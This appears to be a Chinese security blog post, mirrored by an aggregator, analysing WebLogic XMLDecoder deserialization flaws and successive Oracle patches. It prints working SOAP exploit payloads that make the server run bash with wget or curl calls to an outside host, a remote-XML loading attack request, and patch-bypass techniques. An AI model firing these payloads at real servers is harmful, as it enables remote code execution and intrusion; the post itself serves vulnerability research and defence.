3

Weblogic XMLDecoder 反序列化

 2 years ago
source link: https://blog.szfszf.top/article/54/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Weblogic XMLDecoder 反序列化

2021年07月, 5292 views, #反序列化漏洞 #weblogic

weblogic系列的文章,这篇文章总结了一下XMLDecoder相关反序列化

Weblogic XMLDecoder 反序列化

首先看XMLDecoder的反序列化

package szf.xmldecoder;

import java.beans.XMLDecoder;
import java.io.ByteArrayInputStream;

public class Unser {

    public static void main(String[] args) {
        String payload = "<java version=\"1.4.0\" class=\"java.beans.XMLDecoder\">\n" +
                "    <void class=\"java.lang.ProcessBuilder\">\n" +
                "        <array class=\"java.lang.String\" length=\"3\">\n" +
                "            <void index=\"0\">\n" +
                "                <string>cmd.exe</string>\n" +
                "            </void>\n" +
                "            <void index=\"1\">\n" +
                "                <string>/c</string>\n" +
                "            </void>\n" +
                "            <void index=\"2\">\n" +
                "                <string>calc</string>\n" +
                "            </void>\n" +
                "        </array>\n" +
                "        <void method=\"start\"/></void>\n" +
                "</java>";

        byte[] b = payload.getBytes();
        ByteArrayInputStream in = new ByteArrayInputStream(b);
        XMLDecoder d = new XMLDecoder(in);
        Object res = d.readObject();
        d.close();
    }
}

具体XML解析标签可以看这里, 我们再补充一个class元素节点, 可以实例化某个类。

<class><string>szf.xmldecoder.Unser</string><void><string>qwer</string><byte>33</byte><array class="byte" length="1"><byte>34</byte></array></void></class>

后面weblogic漏洞调试方法参考这里

CVE-2017-3506 && CVE-2017-10271

受影响版本 10.3.6.0、12.1.3.0、12.2.1.0、12.2.1.1、12.2.1.2

漏洞组件:wls-wsat.war

这两个都是XMLDecoder反序列化漏洞,看web.xml可以看到漏洞路径

<servlet-name>CoordinatorPortTypeServlethttp</servlet-name>
<url-pattern>/CoordinatorPortType</url-pattern>

<servlet-name>RegistrationPortTypeRPCServlethttp</servlet-name>
<url-pattern>/RegistrationPortTypeRPC</url-pattern>

<servlet-name>ParticipantPortTypeServlethttp</servlet-name>
<url-pattern>/ParticipantPortType</url-pattern>

<servlet-name>RegistrationRequesterPortTypeServlethttp</servlet-name>
<url-pattern>/RegistrationRequesterPortType</url-pattern>

<servlet-name>CoordinatorPortTypeServlethttp11</servlet-name>
<url-pattern>/CoordinatorPortType11</url-pattern>

<servlet-name>RegistrationPortTypeRPCServlethttp11</servlet-name>
<url-pattern>/RegistrationPortTypeRPC11</url-pattern>

<servlet-name>ParticipantPortTypeServlethttp11</servlet-name>
<url-pattern>/ParticipantPortType11</url-pattern>

CVE-2017-3506 POC

3506对XMLDecoder没有任何限制,所以可以使用上面的XMLDecoder反序列化漏洞利用方法。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>
wget 192.168.223.130:9987
</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

CVE-2017-3506补丁

可以看到就是限制了不能存在名为object的标签

 public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
     if(qName.equalsIgnoreCase("object")) {
        throw new IllegalStateException("Invalid context type: object");
     }
 }

CVE-2017-10271 POC

可以看到3506的补丁之限制了object元素标签,那么直接改成coid就能绕过。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>
wget 192.168.223.130:9987
</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

CVE-2017-10271 补丁

可以看到,不允许出现object、new、method这三种元素节点,限制了void元素只能使用index属性或者空属性,最后array的class属性只能为byte。限制了method就限制了我们执行任意函数的方法了。

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;
         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }
               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

贴一下调用栈

readUTF:111, WorkContextXmlInputAdapter (weblogic.wsee.workarea)
readEntry:92, WorkContextEntryImpl (weblogic.workarea.spi)
receiveRequest:179, WorkContextLocalMap (weblogic.workarea)
receiveRequest:163, WorkContextMapImpl (weblogic.workarea)
receive:71, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
readHeaderOld:107, WorkContextTube (weblogic.wsee.jaxws.workcontext)
processRequest:43, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
__doRun:866, Fiber (com.sun.xml.ws.api.pipe)
_doRun:815, Fiber (com.sun.xml.ws.api.pipe)
doRun:778, Fiber (com.sun.xml.ws.api.pipe)
runSync:680, Fiber (com.sun.xml.ws.api.pipe)
process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
post:336, HttpServletAdapter (weblogic.wsee.jaxws)
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

CVE-2019-2725

受影响版本 10.3.6.0、12.1.3.0

10.3.6.0:bea_wls9_async_response.war、wls-wsat.war

12.1.3.0:com.oracle.webservices.wls.wls-soap-stack-impl_12.1.3.jar

这个漏洞分为两块分析,第二点我后面再同意分析。

  1. 新爆出的存在反序列化的组件_async
  2. CVE-2017-10271的补丁被绕过

_async组件存在XMLDecoder反序列化漏洞

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps
/_async/AsyncResponseServiceSoap12
/_async/AsyncResponseServiceSoap12Jms
/_async/AsyncResponseServiceSoap12Https

如果没打3506或者10721的补丁的话可以直接用类似的payload,但注意<wsa:Action>wsa:RelatesTo不要丢了。

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>
curl 192.168.223.130:9987
</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

CVE-2019-2725补丁

可以看到多限制了class元素标签,并限制了array的index长度。

public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
    if (qName.equalsIgnoreCase("object")) {
        throw new IllegalStateException("Invalid element qName:object");
    } else if (qName.equalsIgnoreCase("class")) {
        throw new IllegalStateException("Invalid element qName:class");
    } else if (qName.equalsIgnoreCase("new")) {
        throw new IllegalStateException("Invalid element qName:new");
    } else if (qName.equalsIgnoreCase("method")) {
        throw new IllegalStateException("Invalid element qName:method");
    } else {
        if (qName.equalsIgnoreCase("void")) {
            for(int i = 0; i < attributes.getLength(); ++i) {
                if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
                    throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
                }
            }
        }

        if (qName.equalsIgnoreCase("array")) {
            String attClass = attributes.getValue("class");
            if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
                throw new IllegalStateException("The value of class attribute is not valid for array element.");
            }

            String lengthString = attributes.getValue("length");
            if (lengthString != null) {
                try {
                    int length = Integer.valueOf(lengthString);
                    if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
                        throw new IllegalStateException("Exceed array length limitation");
                    }

                    this.overallarraylength += length;
                    if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
                        throw new IllegalStateException("Exceed over all array limitation.");
                    }
                } catch (NumberFormatException var8) {
                }
            }
        }

    }
}

CVE-2019-2729

可以使用<array method=”forName”> 代替<class>,其他都是一样的,不过根据这篇文章这篇只有在jdk1.6才能跑通。

CVE-2019-2729补丁

补丁中再增加了一个过滤函数validateFormat,

private void validateFormat(InputStream is) {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

    try {
        SAXParser parser = factory.newSAXParser();
        parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
                if (!WorkContextFormatInfo.allowedName.containsKey(qName)) {
                    throw new IllegalStateException("Invalid element qName:" + qName);
                } else {
                    Map<String, String> attributeMap = (Map)WorkContextFormatInfo.allowedName.get(qName);
                    if (attributeMap == null && attributes.getLength() > 0) {
                        throw new IllegalStateException("Invalid attribute for element qName:" + qName);
                    } else {
                        for(int i = 0; i < attributes.getLength(); ++i) {
                            String attrName = attributes.getQName(i);
                            if (!attributeMap.containsKey(attrName)) {
                                throw new IllegalStateException("Invalid attribute for element qName:" + qName + ", current attribute Name is:" + attrName);
                            }

                            String attrValue = (String)attributeMap.get(attrName);
                            if (!"any".equals(attrValue) && !attrValue.equals(attributes.getValue(i))) {
                                throw new IllegalStateException("The value of attribute is not valid:  element qName:" + qName + ", current attribute Name is:" + attrName + ", current attribute values is: " + attributes.getValue(i));
                            }
                        }

                    }
                }
            }
        });
    } catch (SAXException | IOException | ParserConfigurationException var5) {
        throw new IllegalStateException("Parser Exception", var5);
    }
}

其中WorkContextFormatInfo.allowedName内容为如下

allowedName.put("string", (Object)null);
allowedName.put("int", (Object)null);
allowedName.put("long", (Object)null);
Map<String, String> allowedAttr = new HashMap();
allowedAttr.put("class", "byte");
allowedAttr.put("length", "any");
allowedName.put("array", allowedAttr);
allowedAttr = new HashMap();
allowedAttr.put("index", "any");
allowedName.put("void", allowedAttr);
allowedName.put("byte", (Object)null);
allowedName.put("boolean", (Object)null);
allowedName.put("short", (Object)null);
allowedName.put("char", (Object)null);
allowedName.put("float", (Object)null);
allowedName.put("double", (Object)null);
allowedAttr = new HashMap();
allowedAttr.put("class", "java.beans.XMLDecoder");
allowedAttr.put("version", "any");
allowedName.put("java", allowedAttr);

直接白名单限制了含有的元素标签和能使用的属性。

绕过CVE-2017-10271 补丁

10271的补丁限制了执行任意的方法,也限制了array的class属性只能为byte。但是我们仍然可以利用class元素节点实例化类,但要求实例化类的参数必须为一些基础类型或者自己数组。

所以现在需要找构造函数就存在漏洞的类,并且构造函数的参数类型为我们能够使用的。

UnitOfWorkChangeSet 二次反序列化

oracle.toplink.internal.sessions.UnitOfWorkChangeSet的构造函数为

image-20210807160554095

可以看到参数为字节数组,然后直接readObject了,可以利用这个类实现二次反序列化,如果存在反序列化链的话就可以再次利用。

不过在weblogic12已经没有这个类了,所以只能打10.3.6。

目前已知二次可用链有7u21, JtaTransactionManager(见这篇文章), 已知weblogic10.3.6默认jdk1.6所以7u21很鸡肋,JtaTransactionManager在jdk1.8以下。

FileSystemXmlApplicationContext

这个就更通用一点,FileSystemXmlApplicationContext类的构造函数参数为字符串,内容为恶意xml的加载地址。其xml加载方法和CVE-2017-17485类似。

POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
Content-Type: text/xml
Content-Length: 651

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">      
<java><class><string>com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext</string><void>
<string>http://127.0.0.1:8082/poc.xml</string>
</void></class>
</java>
 </work:WorkContext>
 </soapenv:Header> <soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>


 poc.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>cmd</value>
        <value>/c</value>
        <value><![CDATA[calc]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

https://www.anquanke.com/post/id/180725

https://xz.aliyun.com/t/8465#toc-1

http://xxlegend.com/2019/04/30/CVE-2019-2725%E5%88%86%E6%9E%90/

https://hpdoger.cn/2021/01/18/title:%20Weblogic%20XMLDecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E6%89%8B%E8%AE%B0/#CVE-2019-2725

https://paper.seebug.org/909/

https://p0rz9.github.io/2019/05/22/Weblogic-CVE-2019-2725%E5%88%86%E6%9E%90%E9%80%9A%E6%9D%80poc/

https://www.cnblogs.com/afanti/p/10802022.html

https://kylingit.com/blog/cve-2019-2729-weblogic-xmldecoder%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK